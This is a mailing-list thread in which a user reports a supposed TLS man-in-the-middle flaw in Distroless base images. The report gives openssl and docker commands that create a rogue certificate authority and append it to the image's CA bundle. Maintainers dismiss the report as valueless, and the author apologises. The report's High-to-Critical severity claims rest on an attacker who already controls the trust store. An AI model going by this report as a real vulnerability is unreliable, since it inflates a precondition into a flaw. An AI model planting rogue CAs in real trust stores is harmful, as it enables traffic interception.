Trusted TLS Man‑in‑the‑Middle via Static CA Bundle Injection in Distroless Base Images

55 views
Skip to first unread message

ZHAFRAN DZAKY

unread,
Jan 30, 2026, 4:58:12 AMJan 30
to Distroless Users
Details

Vulnerability Type

Improper Trust Store Management / Missing Certificate Revocation Controls

Related CWEs (contextual):

  • CWE‑295: Improper Certificate Validation

  • CWE‑494: Download of Code Without Integrity Check (trust anchor context)

Summary

Distroless base images ship with a static CA certificate bundle (/etc/ssl/certs/ca-certificates.crt) and do not include mechanisms for:

  • certificate revocation (CRL / OCSP),

  • dynamic trust store updates,

  • NSS policy enforcement,

  • or certificate pinning.

If the CA bundle is modified intentionally or via supply‑chain compromise TLS clients running inside the image will fully trust attacker‑controlled certificates, enabling silent and persistent man‑in‑the‑middle (MITM) or service impersonation attacks.

A proof‑of‑concept demonstrates that a rogue Certificate Authority injected into the CA bundle is accepted as a valid trust anchor, resulting in a successful TLS handshake with a malicious server certificate.

Affected Component

Distroless base images that include CA certificates, for example:

Affected file (runtime):

/etc/ssl/certs/ca-certificates.crt

PoC

Prepare Rogue Certificate Authority

openssl genrsa -out rogue_ca.key 4096

openssl req -x509 -new -nodes \
  -key rogue_ca.key \
  -sha256 -days 3650 \
  -subj "/CN=Rogue Audit CA" \
  -out rogue_ca.crt

Create a Server Certificate Signed by the Rogue CA

openssl genrsa -out victim.key 2048

openssl req -new \
  -key victim.key \
  -subj "/CN=api.target.local" \
  -out victim.csr

openssl x509 -req \
  -in victim.csr \
  -CA rogue_ca.crt \
  -CAkey rogue_ca.key \
  -CAcreateserial \
  -out victim.crt \
  -days 365 \
  -sha256

Extract Distroless CA Bundle and Inject Rogue CA

docker create --name distroless_tmp gcr.io/distroless/base /nonexistent
docker cp distroless_tmp:/etc/ssl/certs/ca-certificates.crt ./ca-certificates.poc.crt
chmod u+w ca-certificates.poc.crt
cat rogue_ca.crt >> ca-certificates.poc.crt

Start a TLS Server Using the Rogue‑Signed Certificate

openssl s_server \
  -cert victim.crt \
  -key  victim.key \
  -accept 4433


Verify Trust from a Client Using the Modified CA Bundle

docker run --rm \
  --network host \
  -v $(pwd)/ca-certificates.poc.crt:/etc/ssl/certs/ca-certificates.crt:ro \
  nicolaka/netshoot \
  openssl s_client \
    -connect 127.0.0.1:4433 \
    -servername api.target.local


Result

depth=1 CN=Rogue Audit CA
verify return:1
depth=0 CN=api.target.local
verify return:1
Verify return code: 0 (ok)


This confirms that:

  • The rogue CA is accepted as a trusted root.

  • The malicious server certificate is fully trusted.

  • TLS verification succeeds without warnings or bypass flags.

Attack Scenario

An attacker who can influence the base image, CI artifacts, or CA bundle (e.g., via supply‑chain compromise, malicious dependency, or insider access) can:

  • Impersonate internal or external TLS services.

  • Perform trusted MITM attacks.

  • Intercept or modify encrypted traffic without detection.

  • Persist trust across container restarts due to static CA storage.

This is particularly impactful in environments relying on distroless images for security‑sensitive workloads or internal service communication.

Impact

Potential impacts include:

  • Silent TLS interception

  • Service impersonation inside clusters

  • Compromised confidentiality and integrity of encrypted traffic

  • Supply‑chain persistence due to immutable trust anchors

Severity may range from High to Critical, depending on deployment context and threat model (e.g., shared CI/CD infrastructure).

Conclusion

Distroless base images rely on a static CA trust model that, while minimal and intentional, can enable trusted TLS MITM if the CA bundle is compromised. The demonstrated PoC confirms that rogue trust anchors are accepted without restriction, posing a realistic supply‑chain and runtime security risk in certain deployment scenarios.

Appu Goundan

unread,
Jan 30, 2026, 7:38:07 AMJan 30
to distrole...@googlegroups.com
I'll probably just have to disable posting to this group to just maintainers. This security report doesn't appear to be creating value.

--
You received this message because you are subscribed to the Google Groups "Distroless Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email to distroless-use...@googlegroups.com.
To view this discussion visit https://groups.google.com/d/msgid/distroless-users/7bb56efd-fe5e-4d58-ac9e-9256205b9665n%40googlegroups.com.

Andrew Latham

unread,
Jan 30, 2026, 10:41:36 AMJan 30
to Distroless Users
It was entertaining :P

ZHAFRAN DZAKY

unread,
Jan 30, 2026, 10:50:50 AMJan 30
to Distroless Users
Sorry sir, I'm really not focused :), please give me access to delete this chat
Reply all
Reply to author
Forward
0 new messages